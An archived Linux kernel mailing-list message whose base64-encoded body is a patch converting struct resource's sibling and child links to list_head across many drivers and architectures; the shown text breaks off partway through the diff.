Original-Received: from MiWiFi-R3L-srv.redhat.com (ovpn-8-16.pek2.redhat.com
 [10.72.8.16])
 by smtp.corp.redhat.com (Postfix) with ESMTP id 32FBE2026D76;
 Wed,  4 Jul 2018 04:11:20 +0000 (UTC)
In-Reply-To: <20180704041038.8190-1-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
X-Scanned-By: MIMEDefang 2.78 on 10.11.54.4
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16
 (mx1.redhat.com [10.11.55.2]); Wed, 04 Jul 2018 04:11:41 +0000 (UTC)
X-Greylist: inspected by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.2]);
 Wed, 04 Jul 2018 04:11:41 +0000 (UTC) for IP:'10.11.54.4'
 DOMAIN:'int-mx04.intmail.prod.int.rdu2.redhat.com'
 HELO:'smtp.corp.redhat.com' FROM:'bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org' RCPT:''
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.26
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:10605 gmane.linux.kernel:2810982 gmane.linux.drivers.devicetree:277709 gmane.linux.kernel.pci:73732 gmane.linux.kernel.input:61879 gmane.linux.ports.parisc:28715 gmane.linux.kernel.kexec:21075 gmane.linux.ports.ppc64.devel:159589
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/10605>

VGhlIHN0cnVjdCByZXNvdXJjZSB1c2VzIHNpbmdseSBsaW5rZWQgbGlzdCB0byBsaW5rIHNpYmxp
bmdzLCBpbXBsZW1lbnRlZApieSBwb2ludGVyIG9wZXJhdGlvbi4gUmVwbGFjZSBpdCB3aXRoIGxp
c3RfaGVhZCBmb3IgYmV0dGVyIGNvZGUgcmVhZGFiaWxpdHkuCgpCYXNlZCBvbiB0aGlzIGxpc3Rf
aGVhZCByZXBsYWNlbWVudCwgaXQgd2lsbCBiZSB2ZXJ5IGVhc3kgdG8gZG8gcmV2ZXJzZQppdGVy
YXRpb24gb24gaW9tZW1fcmVzb3VyY2UncyBzaWJsaW5nIGxpc3QgaW4gbGF0ZXIgcGF0Y2guCgpC
ZXNpZGVzLCB0eXBlIG9mIG1lbWJlciB2YXJpYWJsZXMgb2Ygc3RydWN0IHJlc291cmNlLCBzaWJs
aW5nIGFuZCBjaGlsZCwgYXJlCmNoYW5nZWQgZnJvbSAnc3RydWN0IHJlc291cmNlIConIHRvICdz
dHJ1Y3QgbGlzdF9oZWFkJy4gVGhpcyBicmluZ3MgdHdvCnBvaW50ZXJzIG9mIHNpemUgaW5jcmVh
c2UuCgpTdWdnZXN0ZWQtYnk6IEFuZHJldyBNb3J0b24gPGFrcG1AbGludXgtZm91bmRhdGlvbi5v
cmc+ClNpZ25lZC1vZmYtYnk6IEJhb3F1YW4gSGUgPGJoZUByZWRoYXQuY29tPgpDYzogUGF0cmlr
IEpha29ic3NvbiA8cGF0cmlrLnIuamFrb2Jzc29uQGdtYWlsLmNvbT4KQ2M6IERhdmlkIEFpcmxp
ZSA8YWlybGllZEBsaW51eC5pZT4KQ2M6ICJLLiBZLiBTcmluaXZhc2FuIiA8a3lzQG1pY3Jvc29m
dC5jb20+CkNjOiBIYWl5YW5nIFpoYW5nIDxoYWl5YW5nekBtaWNyb3NvZnQuY29tPgpDYzogU3Rl
cGhlbiBIZW1taW5nZXIgPHN0aGVtbWluQG1pY3Jvc29mdC5jb20+CkNjOiBEbWl0cnkgVG9yb2to
b3YgPGRtaXRyeS50b3Jva2hvdkBnbWFpbC5jb20+CkNjOiBEYW4gV2lsbGlhbXMgPGRhbi5qLndp
bGxpYW1zQGludGVsLmNvbT4KQ2M6IFJvYiBIZXJyaW5nIDxyb2JoK2R0QGtlcm5lbC5vcmc+CkNj
OiBGcmFuayBSb3dhbmQgPGZyb3dhbmQubGlzdEBnbWFpbC5jb20+CkNjOiBLZWl0aCBCdXNjaCA8
a2VpdGguYnVzY2hAaW50ZWwuY29tPgpDYzogSm9uYXRoYW4gRGVycmljayA8am9uYXRoYW4uZGVy
cmlja0BpbnRlbC5jb20+CkNjOiBMb3JlbnpvIFBpZXJhbGlzaSA8bG9yZW56by5waWVyYWxpc2lA
YXJtLmNvbT4KQ2M6IEJqb3JuIEhlbGdhYXMgPGJoZWxnYWFzQGdvb2dsZS5jb20+CkNjOiBUaG9t
YXMgR2xlaXhuZXIgPHRnbHhAbGludXRyb25peC5kZT4KQ2M6IEJyaWplc2ggU2luZ2ggPGJyaWpl
c2guc2luZ2hAYW1kLmNvbT4KQ2M6ICJKw6lyw7RtZSBHbGlzc2UiIDxqZ2xpc3NlQHJlZGhhdC5j
b20+CkNjOiBCb3Jpc2xhdiBQZXRrb3YgPGJwQHN1c2UuZGU+CkNjOiBUb20gTGVuZGFja3kgPHRo
b21hcy5sZW5kYWNreUBhbWQuY29tPgpDYzogR3JlZyBLcm9haC1IYXJ0bWFuIDxncmVna2hAbGlu
dXhmb3VuZGF0aW9uLm9yZz4KQ2M6IFlhb3dlaSBCYWkgPGJhaXlhb3dlaUBjbXNzLmNoaW5hbW9i
aWxlLmNvbT4KQ2M6IFdlaSBZYW5nIDxyaWNoYXJkLndlaXlhbmdAZ21haWwuY29tPgpDYzogZGV2
ZWxAbGludXhkcml2ZXJwcm9qZWN0Lm9yZwpDYzogbGludXgtaW5wdXRAdmdlci5rZXJuZWwub3Jn
CkNjOiBsaW51eC1udmRpbW1AbGlzdHMuMDEub3JnCkNjOiBkZXZpY2V0cmVlQHZnZXIua2VybmVs
Lm9yZwpDYzogbGludXgtcGNpQHZnZXIua2VybmVsLm9yZwotLS0KIGFyY2gvYXJtL3BsYXQtc2Ft
c3VuZy9wbS1jaGVjay5jICAgICAgICAgICAgfCAgIDYgKy0KIGFyY2gvbWljcm9ibGF6ZS9wY2kv
cGNpLWNvbW1vbi5jICAgICAgICAgICAgfCAgIDQgKy0KIGFyY2gvcG93ZXJwYy9rZXJuZWwvcGNp
LWNvbW1vbi5jICAgICAgICAgICAgfCAgIDQgKy0KIGFyY2gvc3BhcmMva2VybmVsL2lvcG9ydC5j
ICAgICAgICAgICAgICAgICAgfCAgIDIgKy0KIGFyY2gveHRlbnNhL2luY2x1ZGUvYXNtL3BjaS1i
cmlkZ2UuaCAgICAgICAgfCAgIDQgKy0KIGRyaXZlcnMvZWlzYS9laXNhLWJ1cy5jICAgICAgICAg
ICAgICAgICAgICAgfCAgIDIgKwogZHJpdmVycy9ncHUvZHJtL2RybV9tZW1vcnkuYyAgICAgICAg
ICAgICAgICB8ICAgMyArLQogZHJpdmVycy9ncHUvZHJtL2dtYTUwMC9ndHQuYyAgICAgICAgICAg
ICAgICB8ICAgNSArLQogZHJpdmVycy9odi92bWJ1c19kcnYuYyAgICAgICAgICAgICAgICAgICAg
ICB8ICA1MiArKystLS0tCiBkcml2ZXJzL2lucHV0L2pveXN0aWNrL2lmb3JjZS9pZm9yY2UtbWFp
bi5jIHwgICA0ICstCiBkcml2ZXJzL252ZGltbS9uYW1lc3BhY2VfZGV2cy5jICAgICAgICAgICAg
IHwgICA2ICstCiBkcml2ZXJzL252ZGltbS9uZC5oICAgICAgICAgICAgICAgICAgICAgICAgIHwg
ICA1ICstCiBkcml2ZXJzL29mL2FkZHJlc3MuYyAgICAgICAgICAgICAgICAgICAgICAgIHwgICA0
ICstCiBkcml2ZXJzL3BhcmlzYy9sYmFfcGNpLmMgICAgICAgICAgICAgICAgICAgIHwgICA0ICst
CiBkcml2ZXJzL3BjaS9jb250cm9sbGVyL3ZtZC5jICAgICAgICAgICAgICAgIHwgICA4ICstCiBk
cml2ZXJzL3BjaS9wcm9iZS5jICAgICAgICAgICAgICAgICAgICAgICAgIHwgICAyICsKIGRyaXZl
cnMvcGNpL3NldHVwLWJ1cy5jICAgICAgICAgICAgICAgICAgICAgfCAgIDIgKy0KIGluY2x1ZGUv
bGludXgvaW9wb3J0LmggICAgICAgICAgICAgICAgICAgICAgfCAgMTcgKystCiBrZXJuZWwvcmVz
b3VyY2UuYyAgICAgICAgICAgICAgICAgICAgICAgICAgIHwgMjA4ICsrKysrKysrKysrKysrLS0t
LS0tLS0tLS0tLS0KIDE5IGZpbGVzIGNoYW5nZWQsIDE3NSBpbnNlcnRpb25zKCspLCAxNjcgZGVs
ZXRpb25zKC0pCgpkaWZmIC0tZ2l0IGEvYXJjaC9hcm0vcGxhdC1zYW1zdW5nL3BtLWNoZWNrLmMg
Yi9hcmNoL2FybS9wbGF0LXNhbXN1bmcvcG0tY2hlY2suYwppbmRleCBjZDJjMDJjNjhiYzMuLjU0
OTQzNTViMWM0OSAxMDA2NDQKLS0tIGEvYXJjaC9hcm0vcGxhdC1zYW1zdW5nL3BtLWNoZWNrLmMK
KysrIGIvYXJjaC9hcm0vcGxhdC1zYW1zdW5nL3BtLWNoZWNrLmMKQEAgLTQ2LDggKzQ2LDggQEAg
dHlwZWRlZiB1MzIgKihydW5fZm5fdCkoc3RydWN0IHJlc291cmNlICpwdHIsIHUzMiAqYXJnKTsK
IHN0YXRpYyB2b2lkIHMzY19wbV9ydW5fcmVzKHN0cnVjdCByZXNvdXJjZSAqcHRyLCBydW5fZm5f
dCBmbiwgdTMyICphcmcpCiB7CiAJd2hpbGUgKHB0ciAhPSBOVUxMKSB7Ci0JCWlmIChwdHItPmNo
aWxkICE9IE5VTEwpCi0JCQlzM2NfcG1fcnVuX3JlcyhwdHItPmNoaWxkLCBmbiwgYXJnKTsKKwkJ
aWYgKCFsaXN0X2VtcHR5KCZwdHItPmNoaWxkKSkKKwkJCXMzY19wbV9ydW5fcmVzKHJlc291cmNl
X2ZpcnN0X2NoaWxkKCZwdHItPmNoaWxkKSwgZm4sIGFyZyk7CiAKIAkJaWYgKChwdHItPmZsYWdz
ICYgSU9SRVNPVVJDRV9TWVNURU1fUkFNKQogCQkJCT09IElPUkVTT1VSQ0VfU1lTVEVNX1JBTSkg
ewpAQCAtNTcsNyArNTcsNyBAQCBzdGF0aWMgdm9pZCBzM2NfcG1fcnVuX3JlcyhzdHJ1Y3QgcmVz
b3VyY2UgKnB0ciwgcnVuX2ZuX3QgZm4sIHUzMiAqYXJnKQogCQkJYXJnID0gKGZuKShwdHIsIGFy
Zyk7CiAJCX0KIAotCQlwdHIgPSBwdHItPnNpYmxpbmc7CisJCXB0ciA9IHJlc291cmNlX3NpYmxp
bmcocHRyKTsKIAl9CiB9CiAKZGlmZiAtLWdpdCBhL2FyY2gvbWljcm9ibGF6ZS9wY2kvcGNpLWNv
bW1vbi5jIGIvYXJjaC9taWNyb2JsYXplL3BjaS9wY2ktY29tbW9uLmMKaW5kZXggNzg5OWJhZmFi
MDY0Li4yYmY3M2UyN2UyMzEgMTAwNjQ0Ci0tLSBhL2FyY2gvbWljcm9ibGF6ZS9wY2kvcGNpLWNv
bW1vbi5jCisrKyBiL2FyY2gvbWljcm9ibGF6ZS9wY2kvcGNpLWNvbW1vbi5jCkBAIC01MzMsNyAr
NTMzLDkgQEAgdm9pZCBwY2lfcHJvY2Vzc19icmlkZ2VfT0ZfcmFuZ2VzKHN0cnVjdCBwY2lfY29u
dHJvbGxlciAqaG9zZSwKIAkJCXJlcy0+ZmxhZ3MgPSByYW5nZS5mbGFnczsKIAkJCXJlcy0+c3Rh
cnQgPSByYW5nZS5jcHVfYWRkcjsKIAkJCXJlcy0+ZW5kID0gcmFuZ2UuY3B1X2FkZHIgKyByYW5n
ZS5zaXplIC0gMTsKLQkJCXJlcy0+cGFyZW50ID0gcmVzLT5jaGlsZCA9IHJlcy0+c2libGluZyA9
IE5VTEw7CisJCQlyZXMtPnBhcmVudCA9IE5VTEw7CisJCQlJTklUX0xJU1RfSEVBRCgmcmVzLT5j
aGlsZCk7CisJCQlJTklUX0xJU1RfSEVBRCgmcmVzLT5zaWJsaW5nKTsKIAkJfQogCX0KIApkaWZm
IC0tZ2l0IGEvYXJjaC9wb3dlcnBjL2tlcm5lbC9wY2ktY29tbW9uLmMgYi9hcmNoL3Bvd2VycGMv
a2VybmVsL3BjaS1jb21tb24uYwppbmRleCA5MjYwMzViYjM3OGQuLjI4ZmJlODNjOWRhZiAxMDA2
NDQKLS0tIGEvYXJjaC9wb3dlcnBjL2tlcm5lbC9wY2ktY29tbW9uLmMKKysrIGIvYXJjaC9wb3dl
cnBjL2tlcm5lbC9wY2ktY29tbW9uLmMKQEAgLTc2MSw3ICs3NjEsOSBAQCB2b2lkIHBjaV9wcm9j
ZXNzX2JyaWRnZV9PRl9yYW5nZXMoc3RydWN0IHBjaV9jb250cm9sbGVyICpob3NlLAogCQkJcmVz
LT5mbGFncyA9IHJhbmdlLmZsYWdzOwogCQkJcmVzLT5zdGFydCA9IHJhbmdlLmNwdV9hZGRyOwog
CQkJcmVzLT5lbmQgPSByYW5nZS5jcHVfYWRkciArIHJhbmdlLnNpemUgLSAxOwotCQkJcmVzLT5w
YXJlbnQgPSByZXMtPmNoaWxkID0gcmVzLT5zaWJsaW5nID0gTlVMTDsKKwkJCXJlcy0+cGFyZW50
ID0gTlVMTDsKKwkJCUlOSVRfTElTVF9IRUFEKCZyZXMtPmNoaWxkKTsKKwkJCUlOSVRfTElTVF9I
RUFEKCZyZXMtPnNpYmxpbmcpOwogCQl9CiAJfQogfQpkaWZmIC0tZ2l0IGEvYXJjaC9zcGFyYy9r
ZXJuZWwvaW9wb3J0LmMgYi9hcmNoL3NwYXJjL2tlcm5lbC9pb3BvcnQuYwppbmRleCBjY2E5MTM0
Y2ZhN2QuLjk5ZWZlNGU5OGIxNiAxMDA2NDQKLS0tIGEvYXJjaC9zcGFyYy9rZXJuZWwvaW9wb3J0
LmMKKysrIGIvYXJjaC9zcGFyYy9rZXJuZWwvaW9wb3J0LmMKQEAgLTY2OSw3ICs2NjksNyBAQCBz
dGF0aWMgaW50IHNwYXJjX2lvX3Byb2Nfc2hvdyhzdHJ1Y3Qgc2VxX2ZpbGUgKm0sIHZvaWQgKnYp
CiAJc3RydWN0IHJlc291cmNlICpyb290ID0gbS0+cHJpdmF0ZSwgKnI7CiAJY29uc3QgY2hhciAq
bm07CiAKLQlmb3IgKHIgPSByb290LT5jaGlsZDsgciAhPSBOVUxMOyByID0gci0+c2libGluZykg
eworCWxpc3RfZm9yX2VhY2hfZW50cnkociwgJnJvb3QtPmNoaWxkLCBzaWJsaW5nKSB7CiAJCWlm
ICgobm0gPSByLT5uYW1lKSA9PSBOVUxMKSBubSA9ICI/Pz8iOwogCQlzZXFfcHJpbnRmKG0sICIl
MDE2bGx4LSUwMTZsbHg6ICVzXG4iLAogCQkJCSh1bnNpZ25lZCBsb25nIGxvbmcpci0+c3RhcnQs
CmRpZmYgLS1naXQgYS9hcmNoL3h0ZW5zYS9pbmNsdWRlL2FzbS9wY2ktYnJpZGdlLmggYi9hcmNo
L3h0ZW5zYS9pbmNsdWRlL2FzbS9wY2ktYnJpZGdlLmgKaW5kZXggMGI2OGM3NmVjMWU2Li5mNDg3
YjA2ODE3ZGYgMTAwNjQ0Ci0tLSBhL2FyY2gveHRlbnNhL2luY2x1ZGUvYXNtL3BjaS1icmlkZ2Uu
aAorKysgYi9hcmNoL3h0ZW5zYS9pbmNsdWRlL2FzbS9wY2ktYnJpZGdlLmgKQEAgLTcxLDggKzcx
LDggQEAgc3RhdGljIGlubGluZSB2b2lkIHBjaWJpb3NfaW5pdF9yZXNvdXJjZShzdHJ1Y3QgcmVz
b3VyY2UgKnJlcywKIAlyZXMtPmZsYWdzID0gZmxhZ3M7CiAJcmVzLT5uYW1lID0gbmFtZTsKIAly
ZXMtPnBhcmVudCA9IE5VTEw7Ci0JcmVzLT5zaWJsaW5nID0gTlVMTDsKLQlyZXMtPmNoaWxkID0g
TlVMTDsKKwlJTklUX0xJU1RfSEVBRCgmcmVzLT5jaGlsZCk7CisJSU5JVF9MSVNUX0hFQUQoJnJl
cy0+c2libGluZyk7CiB9CiAKIApkaWZmIC0tZ2l0IGEvZHJpdmVycy9laXNhL2Vpc2EtYnVzLmMg
Yi9kcml2ZXJzL2Vpc2EvZWlzYS1idXMuYwppbmRleCAxZTgwNjJmNmRiZmMuLmRiYTc4Zjc1ZmQw
NiAxMDA2NDQKLS0tIGEvZHJpdmVycy9laXNhL2Vpc2EtYnVzLmMKKysrIGIvZHJpdmVycy9laXNh
L2Vpc2EtYnVzLmMKQEAgLTQwOCw2ICs0MDgsOCBAQCBzdGF0aWMgc3RydWN0IHJlc291cmNlIGVp
c2Ffcm9vdF9yZXMgPSB7CiAJLnN0YXJ0ID0gMCwKIAkuZW5kICAgPSAweGZmZmZmZmZmLAogCS5m
bGFncyA9IElPUkVTT1VSQ0VfSU8sCisJLnNpYmxpbmcgPSBMSVNUX0hFQURfSU5JVChlaXNhX3Jv
b3RfcmVzLnNpYmxpbmcpLAorCS5jaGlsZCAgPSBMSVNUX0hFQURfSU5JVChlaXNhX3Jvb3RfcmVz
LmNoaWxkKSwKIH07CiAKIHN0YXRpYyBpbnQgZWlzYV9idXNfY291bnQ7CmRpZmYgLS1naXQgYS9k
cml2ZXJzL2dwdS9kcm0vZHJtX21lbW9yeS5jIGIvZHJpdmVycy9ncHUvZHJtL2RybV9tZW1vcnku
YwppbmRleCBkNjllNGZjMWVlNzcuLjMzYmFhN2ZhNWU0MSAxMDA2NDQKLS0tIGEvZHJpdmVycy9n
cHUvZHJtL2RybV9tZW1vcnkuYworKysgYi9kcml2ZXJzL2dwdS9kcm0vZHJtX21lbW9yeS5jCkBA
IC0xNTUsOSArMTU1LDggQEAgdTY0IGRybV9nZXRfbWF4X2lvbWVtKHZvaWQpCiAJc3RydWN0IHJl
c291cmNlICp0bXA7CiAJcmVzb3VyY2Vfc2l6ZV90IG1heF9pb21lbSA9IDA7CiAKLQlmb3IgKHRt
cCA9IGlvbWVtX3Jlc291cmNlLmNoaWxkOyB0bXA7IHRtcCA9IHRtcC0+c2libGluZykgeworCWxp
c3RfZm9yX2VhY2hfZW50cnkodG1wLCAmaW9tZW1fcmVzb3VyY2UuY2hpbGQsIHNpYmxpbmcpCiAJ
CW1heF9pb21lbSA9IG1heChtYXhfaW9tZW0sICB0bXAtPmVuZCk7Ci0JfQogCiAJcmV0dXJuIG1h
eF9pb21lbTsKIH0KZGlmZiAtLWdpdCBhL2RyaXZlcnMvZ3B1L2RybS9nbWE1MDAvZ3R0LmMgYi9k
cml2ZXJzL2dwdS9kcm0vZ21hNTAwL2d0dC5jCmluZGV4IDM5NDliMDk5MDkxNi4uYWRkZDNiYzAw
OWFmIDEwMDY0NAotLS0gYS9kcml2ZXJzL2dwdS9kcm0vZ21hNTAwL2d0dC5jCisrKyBiL2RyaXZl
cnMvZ3B1L2RybS9nbWE1MDAvZ3R0LmMKQEAgLTU2NSw3ICs1NjUsNyBAQCBpbnQgcHNiX2d0dF9p
bml0KHN0cnVjdCBkcm1fZGV2aWNlICpkZXYsIGludCByZXN1bWUpCiBpbnQgcHNiX2d0dF9yZXN0
b3JlKHN0cnVjdCBkcm1fZGV2aWNlICpkZXYpCiB7CiAJc3RydWN0IGRybV9wc2JfcHJpdmF0ZSAq
ZGV2X3ByaXYgPSBkZXYtPmRldl9wcml2YXRlOwotCXN0cnVjdCByZXNvdXJjZSAqciA9IGRldl9w
cml2LT5ndHRfbWVtLT5jaGlsZDsKKwlzdHJ1Y3QgcmVzb3VyY2UgKnI7CiAJc3RydWN0IGd0dF9y
YW5nZSAqcmFuZ2U7CiAJdW5zaWduZWQgaW50IHJlc3RvcmVkID0gMCwgdG90YWwgPSAwLCBzaXpl
ID0gMDsKIApAQCAtNTczLDE0ICs1NzMsMTMgQEAgaW50IHBzYl9ndHRfcmVzdG9yZShzdHJ1Y3Qg
ZHJtX2RldmljZSAqZGV2KQogCW11dGV4X2xvY2soJmRldl9wcml2LT5ndHRfbXV0ZXgpOwogCXBz
Yl9ndHRfaW5pdChkZXYsIDEpOwogCi0Jd2hpbGUgKHIgIT0gTlVMTCkgeworCWxpc3RfZm9yX2Vh
Y2hfZW50cnkociwgJmRldl9wcml2LT5ndHRfbWVtLT5jaGlsZCwgc2libGluZykgewogCQlyYW5n
ZSA9IGNvbnRhaW5lcl9vZihyLCBzdHJ1Y3QgZ3R0X3JhbmdlLCByZXNvdXJjZSk7CiAJCWlmIChy
YW5nZS0+cGFnZXMpIHsKIAkJCXBzYl9ndHRfaW5zZXJ0KGRldiwgcmFuZ2UsIDEpOwogCQkJc2l6
ZSArPSByYW5nZS0+cmVzb3VyY2UuZW5kIC0gcmFuZ2UtPnJlc291cmNlLnN0YXJ0OwogCQkJcmVz
dG9yZWQrKzsKIAkJfQotCQlyID0gci0+c2libGluZzsKIAkJdG90YWwrKzsKIAl9CiAJbXV0ZXhf
dW5sb2NrKCZkZXZfcHJpdi0+Z3R0X211dGV4KTsKZGlmZiAtLWdpdCBhL2RyaXZlcnMvaHYvdm1i
dXNfZHJ2LmMgYi9kcml2ZXJzL2h2L3ZtYnVzX2Rydi5jCmluZGV4IGIxMGZlMjZjNDg5MS4uZDg3
ZWM1YTFiYzRjIDEwMDY0NAotLS0gYS9kcml2ZXJzL2h2L3ZtYnVzX2Rydi5jCisrKyBiL2RyaXZl
cnMvaHYvdm1idXNfZHJ2LmMKQEAgLTE0MTIsOSArMTQxMiw4IEBAIHN0YXRpYyBhY3BpX3N0YXR1
cyB2bWJ1c193YWxrX3Jlc291cmNlcyhzdHJ1Y3QgYWNwaV9yZXNvdXJjZSAqcmVzLCB2b2lkICpj
dHgpCiB7CiAJcmVzb3VyY2Vfc2l6ZV90IHN0YXJ0ID0gMDsKIAlyZXNvdXJjZV9zaXplX3QgZW5k
ID0gMDsKLQlzdHJ1Y3QgcmVzb3VyY2UgKm5ld19yZXM7CisJc3RydWN0IHJlc291cmNlICpuZXdf
cmVzLCAqdG1wOwogCXN0cnVjdCByZXNvdXJjZSAqKm9sZF9yZXMgPSAmaHlwZXJ2X21taW87Ci0J
c3RydWN0IHJlc291cmNlICoqcHJldl9yZXMgPSBOVUxMOwogCiAJc3dpdGNoIChyZXMtPnR5cGUp
IHsKIApAQCAtMTQ2MSw0NCArMTQ2MCwzNiBAQCBzdGF0aWMgYWNwaV9zdGF0dXMgdm1idXNfd2Fs
a19yZXNvdXJjZXMoc3RydWN0IGFjcGlfcmVzb3VyY2UgKnJlcywgdm9pZCAqY3R4KQogCS8qCiAJ
ICogSWYgdHdvIHJhbmdlcyBhcmUgYWRqYWNlbnQsIG1lcmdlIHRoZW0uCiAJICovCi0JZG8gewot
CQlpZiAoISpvbGRfcmVzKSB7Ci0JCQkqb2xkX3JlcyA9IG5ld19yZXM7Ci0JCQlicmVhazsKLQkJ
fQotCi0JCWlmICgoKCpvbGRfcmVzKS0+ZW5kICsgMSkgPT0gbmV3X3Jlcy0+c3RhcnQpIHsKLQkJ
CSgqb2xkX3JlcyktPmVuZCA9IG5ld19yZXMtPmVuZDsKKwlpZiAoISpvbGRfcmVzKSB7CisJCSpv
bGRfcmVzID0gbmV3X3JlczsKKwkJcmV0dXJuIEFFX09LOworCX0KKwl0bXAgPSAqb2xkX3JlczsK
KwlsaXN0X2Zvcl9lYWNoX2VudHJ5X2Zyb20odG1wLCAmdG1wLT5wYXJlbnQtPmNoaWxkLCBzaWJs
aW5nKSB7CisJCWlmICgodG1wLT5lbmQgKyAxKSA9PSBuZXdfcmVzLT5zdGFydCkgeworCQkJdG1w
LT5lbmQgPSBuZXdfcmVzLT5lbmQ7CiAJCQlrZnJlZShuZXdfcmVzKTsKIAkJCWJyZWFrOwogCQl9
CiAKLQkJaWYgKCgqb2xkX3JlcyktPnN0YXJ0ID09IG5ld19yZXMtPmVuZCArIDEpIHsKLQkJCSgq
b2xkX3JlcyktPnN0YXJ0ID0gbmV3X3Jlcy0+c3RhcnQ7CisJCWlmICh0bXAtPnN0YXJ0ID09IG5l
d19yZXMtPmVuZCArIDEpIHsKKwkJCXRtcC0+c3RhcnQgPSBuZXdfcmVzLT5zdGFydDsKIAkJCWtm
cmVlKG5ld19yZXMpOwogCQkJYnJlYWs7CiAJCX0KIAotCQlpZiAoKCpvbGRfcmVzKS0+c3RhcnQg
PiBuZXdfcmVzLT5lbmQpIHsKLQkJCW5ld19yZXMtPnNpYmxpbmcgPSAqb2xkX3JlczsKLQkJCWlm
IChwcmV2X3JlcykKLQkJCQkoKnByZXZfcmVzKS0+c2libGluZyA9IG5ld19yZXM7Ci0JCQkqb2xk
X3JlcyA9IG5ld19yZXM7CisJCWlmICh0bXAtPnN0YXJ0ID4gbmV3X3Jlcy0+ZW5kKSB7CisJCQls
aXN0X2FkZCgmbmV3X3Jlcy0+c2libGluZywgdG1wLT5zaWJsaW5nLnByZXYpOwogCQkJYnJlYWs7
CiAJCX0KLQotCQlwcmV2X3JlcyA9IG9sZF9yZXM7Ci0JCW9sZF9yZXMgPSAmKCpvbGRfcmVzKS0+
c2libGluZzsKLQotCX0gd2hpbGUgKDEpOworCX0KIAogCXJldHVybiBBRV9PSzsKIH0KIAogc3Rh
dGljIGludCB2bWJ1c19hY3BpX3JlbW92ZShzdHJ1Y3QgYWNwaV9kZXZpY2UgKmRldmljZSkKIHsK
LQlzdHJ1Y3QgcmVzb3VyY2UgKmN1cl9yZXM7Ci0Jc3RydWN0IHJlc291cmNlICpuZXh0X3JlczsK
KwlzdHJ1Y3QgcmVzb3VyY2UgKnJlczsKIAogCWlmIChoeXBlcnZfbW1pbykgewogCQlpZiAoZmJf
bW1pbykgewpAQCAtMTUwNywxMCArMTQ5OCw5IEBAIHN0YXRpYyBpbnQgdm1idXNfYWNwaV9yZW1v
dmUoc3RydWN0IGFjcGlfZGV2aWNlICpkZXZpY2UpCiAJCQlmYl9tbWlvID0gTlVMTDsKIAkJfQog
Ci0JCWZvciAoY3VyX3JlcyA9IGh5cGVydl9tbWlvOyBjdXJfcmVzOyBjdXJfcmVzID0gbmV4dF9y
ZXMpIHsKLQkJCW5leHRfcmVzID0gY3VyX3Jlcy0+c2libGluZzsKLQkJCWtmcmVlKGN1cl9yZXMp
OwotCQl9CisJCXJlcyA9IGh5cGVydl9tbWlvOworCQlsaXN0X2Zvcl9lYWNoX2VudHJ5X2Zyb20o
cmVzLCAmcmVzLT5wYXJlbnQtPmNoaWxkLCBzaWJsaW5nKQorCQkJa2ZyZWUocmVzKTsKIAl9CiAK
IAlyZXR1cm4gMDsKQEAgLTE1OTYsNyArMTU4Niw4IEBAIGludCB2bWJ1c19hbGxvY2F0ZV9tbWlv
KHN0cnVjdCByZXNvdXJjZSAqKm5ldywgc3RydWN0IGh2X2RldmljZSAqZGV2aWNlX29iaiwKIAkJ
fQogCX0KIAotCWZvciAoaXRlciA9IGh5cGVydl9tbWlvOyBpdGVyOyBpdGVyID0gaXRlci0+c2li
bGluZykgeworCWl0ZXIgPSBoeXBlcnZfbW1pbzsKKwlsaXN0X2Zvcl9lYWNoX2VudHJ5X2Zyb20o
aXRlciwgJml0ZXItPnBhcmVudC0+Y2hpbGQsIHNpYmxpbmcpIHsKIAkJaWYgKChpdGVyLT5zdGFy
dCA+PSBtYXgpIHx8IChpdGVyLT5lbmQgPD0gbWluKSkKIAkJCWNvbnRpbnVlOwogCkBAIC0xNjM5
LDcgKzE2MzAsOCBAQCB2b2lkIHZtYnVzX2ZyZWVfbW1pbyhyZXNvdXJjZV9zaXplX3Qgc3RhcnQs
IHJlc291cmNlX3NpemVfdCBzaXplKQogCXN0cnVjdCByZXNvdXJjZSAqaXRlcjsKIAogCWRvd24o
Jmh5cGVydl9tbWlvX2xvY2spOwotCWZvciAoaXRlciA9IGh5cGVydl9tbWlvOyBpdGVyOyBpdGVy
ID0gaXRlci0+c2libGluZykgeworCWl0ZXIgPSBoeXBlcnZfbW1pbzsKKwlsaXN0X2Zvcl9lYWNo
X2VudHJ5X2Zyb20oaXRlciwgJml0ZXItPnBhcmVudC0+Y2hpbGQsIHNpYmxpbmcpIHsKIAkJaWYg
KChpdGVyLT5zdGFydCA+PSBzdGFydCArIHNpemUpIHx8IChpdGVyLT5lbmQgPD0gc3RhcnQpKQog
CQkJY29udGludWU7CiAKZGlmZiAtLWdpdCBhL2RyaXZlcnMvaW5wdXQvam95c3RpY2svaWZvcmNl
L2lmb3JjZS1tYWluLmMgYi9kcml2ZXJzL2lucHV0L2pveXN0aWNrL2lmb3JjZS9pZm9yY2UtbWFp
bi5jCmluZGV4IGRhZWViNGM3ZTNiMC4uNWMwYmUyN2IzM2ZmIDEwMDY0NAotLS0gYS9kcml2ZXJz
L2lucHV0L2pveXN0aWNrL2lmb3JjZS9pZm9yY2UtbWFpbi5jCisrKyBiL2RyaXZlcnMvaW5wdXQv
